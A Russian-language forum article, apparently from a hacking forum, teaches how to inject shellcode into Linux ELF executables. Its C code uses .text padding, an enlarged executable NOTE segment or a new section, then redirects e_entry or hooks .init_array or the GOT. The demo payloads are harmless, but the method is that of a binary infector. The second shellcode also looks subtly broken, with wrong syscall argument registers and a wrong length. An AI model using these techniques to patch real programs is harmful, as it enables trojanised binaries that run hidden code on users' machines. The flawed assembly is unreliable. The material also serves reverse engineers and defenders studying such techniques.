Статья Методы иньекции ELF файлов

Admin

Администратор

Методы иньекции ELF файлов

В целом механизм выглядит так, для патча открывается ELF RO/RW, валидируется сигнатура 0x7F E L F, парсится Ehdr/Phdr/Shdr и извлеюся офсеты, виртуальные адреса и флаги. Далее точка входа, свободные байты выравниваниваются в .text, расширяется NOTE-сегмент или добавляется новая секция SHT_PROGBITS. В найденную область копируется шеллкод, правится p_filesz, p_memsz, можно выставить PF_X, а чтобы загрузчик действительно отработал патч код, меняется e_entry, впаивается jmp в _start или делается хук в .init_array. На выходе патченый ELF, при запуске исполняющий влитый байткод до/вместо оригинального потока.



Открытие и маппинг ELF.

Часто используется единый механизм, файл открывается в одном из режимов RO/RW, после чего загружается в память fopen + mmap.

open_mode_t и mapped_file — структуры, инкапсулирующие информацию о режиме открытия, указателе на буфер.

elf_validate_filetype() - проверяет магическое число ELF и базовые поля заголовка.

file_load_target() - мапит файл в память.

elf_parse_file() - возвращает объект elf_t, внутри которого хранится Elf64_Ehdr ehdr, массив Elf64_Phdr phdrs, массив Elf64_Shdr shdrs.

Код:
open_mode_t mode;
struct mapped_file mf = {0};

FILE *fp = file_open_ro("some_elf", &mode);
if (!elf_validate_filetype(fp)) {
    return -1;
}

// Загружаем в структуру mf
if (!file_load_target(&mf, fp, mode)) {
    return -1;
}

// Парсим
elf_t *elfobj = elf_parse_file("some_elf", &mf);
if (!elfobj) {
    return -1;
}
Поиск секций и извлечение адресов.

Функция, позволяющая найти индекс секции по имени:

Код:
elf_word_t text_idx = elf_parse_shdr_idx_byname(elfobj, ".text");
if (text_idx == (elf_word_t)-1) {
    return -1;
}

Elf64_Shdr *text_sh = elfobj->shdrs[text_idx];
printf("Offset of .text: 0x%llx\n",
       (unsigned long long)text_sh->sh_offset);
printf("Size of .text:   0x%llx\n",
       (unsigned long long)text_sh->sh_size);
Для поиска заголовков Phdr есть аналогичный метод. Это даёт возможность выцепить нужный сегмент PT_LOAD, PT_NOTE и посмотреть, где он лежит в файле p_offset, его размеры p_filesz, p_memsz и флаги исполнения p_flags.



Инъекция в .text.

Используется паддинг, .text содержит выровненные интервалы, которые можно захватить. В примере есть функция, вычисляющая, сколько пробела осталось между концом секции и началом следующей. Если места достаточно, можно залить туда shellcode:

Код:
elf_word_t tidx = elf_parse_shdr_idx_byname(elfobj, ".text");
Elf64_Shdr *shdr_text = elfobj->shdrs[tidx];

// syscall exit(42)
static unsigned char scode[] = {
    0x48, 0x31, 0xC0,  // xor rax, rax
    0xB0, 0x3C,        // mov al, 0x3c
    0x48, 0x31, 0xFF,  // xor rdi, rdi
    0xBF, 0x2A,0x00,0x00,0x00, // mov edi, 42
    0x0F, 0x05        // syscall
};

// получаем offset свободного места + его размер
size_t offset_free;
size_t pad_size = find_text_padding(elfobj, tidx, &offset_free);

// Если шелкод укладывается
if (sizeof(scode) <= pad_size) {
    memcpy(mf.data + offset_free, scode, sizeof(scode));
} else {
    return -1;
}
Чтобы инструкции были реально выполнены, нужно заставить CPU зайти в них. Самый грубый способ это поменять e_entry:

Код:
((Elf64_Ehdr*)mf.data)->e_entry = shdr_text->sh_addr +
                                  (offset_free - shdr_text->sh_offset);
Но при этом придётся корректно вызвать основную логику, завершать шеллкод jmp original_start. Либо можно в начале _start/main впаять прыжок на пейлоад, что можно использовать как средство добавления jmp инструкции.

Если .text впритык к другой секции, можно передвигать следующую секцию или обновлять p_filesz в Phdr, чтобы освободить место. Это более сложная операция, так как нужно сдвинуть все последующие секции на нужное количество байт.



Инъекция в NOTE-сегмент.

В некоторых бинарях есть сегмент PT_NOTE и секция SHT_NOTE с данными .note., типа .note.ABI-tag, часто неисполняемыми. Но если в этот сегмент установить флаги PF_X, туда также можно залить шеллкод. Далее меняется e_entry или другой способ передачи управления. После этого исполнение, стартуя из нового e_entry, попадает в зону NOTE, где лежит шеллкод. Чтобы не ломать функционал, можно встроить возврат либо jmp на старую e_entry, либо call old_entry:

Код:
int note_idx = find_note_segment(elfobj); // ищет PT_NOTE
if (note_idx < 0) {
    return -1;
}
Elf64_Phdr *nhdr = elfobj->phdrs[note_idx];

// Исходный размер
Elf64_Off n_off = nhdr->p_offset;
Elf64_Xword n_size = nhdr->p_filesz;

// Расширить или уже free space
if (!check_note_space(nhdr, desired_payload_size)) {
    return -1;
}

// payload
memcpy(mf.data + n_off + n_size, scode, desired_payload_size);

// Увеличение p_filesz и p_memsz
nhdr->p_filesz += desired_payload_size;
nhdr->p_memsz += desired_payload_size;

// Исполнение
nhdr->p_flags |= PF_X;

// Изменение e_entry
Elf64_Ehdr *eh = (Elf64_Ehdr *)mf.data;
eh->e_entry = nhdr->p_vaddr + n_size;
Дополнительные трюки.

Вместо использования .text или NOTE можно добавить секцию SHT_PROGBITS и прописать соответствующий PT_LOAD. Это требует правки e_shoff, e_shnum, и аккуратного переноса содержимого, если таблица секций была в конце.

Патчинг точек входа, можно просто перезаписать e_entry. Но встречаются подходы: правка .init_array, если бинарь динамический. Инъекция jmp/call в _start или main. Для хуков конкретных символов подмена GOT/PLT.

Для PIE важно, что адреса в ELF на диске могут не совпадать с адресами в рантайме. Иногда, чтобы код исполнялся корректно, нужно дополнительно править GOT или заниматься символическими релокациями. Это часто обходится, внедрением shellcode, не зависящего от абсолютных адресов или используя rip относительные обращения.



При запуске бинарь начнёт выполнение с фрагмента втроенного шеллкода. Когда дойдёт до jmp rax, управление вернётся к оригинальной точке входа. С учётом выравнивания это показывает базовую идею, как встраивать код в ELF:

Код:
int patch_text_section(elf_t *elfobj, struct mapped_file *mf) {
    // Ищем индекс .text
    elf_word_t tidx = elf_parse_shdr_idx_byname(elfobj, ".text");
    if (tidx == (elf_word_t)-1) return -1;

Elf64_Shdr *shdr_text = elfobj->shdrs[tidx];

// Ищем 0x40 байт в конце .text
    size_t offset_free, pad_size;
    if (find_free_text_area(elfobj, tidx, &offset_free, &pad_size) < 0) return -1;
    if (pad_size < 0x40) return -1;

// Шеллкод  "AVERUN\n" в stdout и jmp на оригинальный entry
    static const unsigned char sc[] = {
        0x48,0x31,0xC0,             // xor rax, rax
        0xB0,0x01,                  // mov al, 1 (sys_write)
        0x48,0x31,0xDB,             // xor rbx, rbx
        0x48,0xBB,'A','V','E','R','U','N','\n',0x00,
        0x53,                       // push rbx
        0x48,0x89,0xE7,             // mov rdi, rsp
        0x48,0x31,0xD2,             // xor rdx, rdx
        0xB2,0x06,                  // mov dl, 6
        0x0F,0x05,                  // syscall
        // jmp original_entry
    };

Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mf->data;
    Elf64_Addr old_entry = ehdr->e_entry;

// Добавляем в конец шеллкода команду jmp old_entry -relative
    unsigned char scjmp[10] = {
        0x48, 0xB8, /* mov rax, old_entry */
        0,0,0,0,0,0,0,0,             // 8 байт
        // jmp rax
    };
    *(uint64_t*)(scjmp + 2) = old_entry;
    unsigned char scjmp_tail[] = { 0xFF, 0xE0 }; // jmp rax

// Запись в .text
    size_t cur = offset_free;
    memcpy(mf->data + cur, sc, sizeof(sc));
    cur += sizeof(sc);
    memcpy(mf->data + cur, scjmp, sizeof(scjmp));
    cur += sizeof(scjmp);
    memcpy(mf->data + cur, scjmp_tail, sizeof(scjmp_tail));

// Изменение e_entry
    Elf64_Addr new_eentry = shdr_text->sh_addr + (offset_free - shdr_text->sh_offset);
    ehdr->e_entry = new_eentry;

return 0;
}
 
Похожие темы
Admin Статья Методы маскировки трафика и обхода средств обнаружения и блокировок (ShadowSocks, V2Ray/X-Ray и Cloak) Анонимность и приватность 0
Admin Статья Методы поиска по электронной почте OSINT 0
wrangler65 Обход sms уведомлений и вход в лк: Cовременные методы работы с брут ба 2025 Все остальное 0
Support81 Взгляд изнутри: BlackBastaGPT раскрывает тактики и методы известной хакерской банды Новости в сети 0
Support81 HardBit 4.0: шифрование по паролю и сложные методы обхода анализа Новости в сети 0
El_IRBIS Интересно WallEscape: Уязвимость и методы её предотвращения. Уязвимости и взлом 0
TrashHellSoDomy Работающие методы по борьбе с гриппом типа ковида Юмор 3
N Методы манипуляции. 10 приемов. Фишинг, мошенничество, СИ 0
B Ищу методы для того чтобы быстро поспать с парнями бесплатно и безопасно. Свободное общение 2
Y Backdoors и шпионы. Методы защиты Анонимность и приватность 34
G Методы обхода фильтров по расширению при загрузке файлов Полезные статьи 0
K Владимир Макулов-методы Быстрого Погружения В Глубокий Гипноз. Гипнотерапия. Раздачи и сливы 0
K Geekbrains Безопасность в сети. Методы взлома и защиты https://mega.nz/#%2194l2kbLS%21B-PiBnPOyI9xypx8p-SqwM8S-JT5o1GRBlBV5cRFrg4 Раздачи и сливы 0
K Новые методы социальной инженерии Ч.2 Полезные статьи 0
K Новые методы социальной инженерии Полезные статьи 0
R [instagram] Раскручиваем Аккаунт С 0 До 50к Фолловеров Быстрые Методы Заработка Способы заработка 0
T Методы психологического воздействия Полезные статьи 0
A Методы шифрования Программирование 1
M Методы взлома телофонов по bluetooth Уязвимости и взлом 2
L Интересно Анонимность, безопасность и киберзащита / Услуги от Elf Service Анонимность и приватность 0
L Сайты, лендинги, боты, софт / Услуги веб-разработки от Elf Service Услуги дизайнеров и веб-разработчиков. 4

Название темы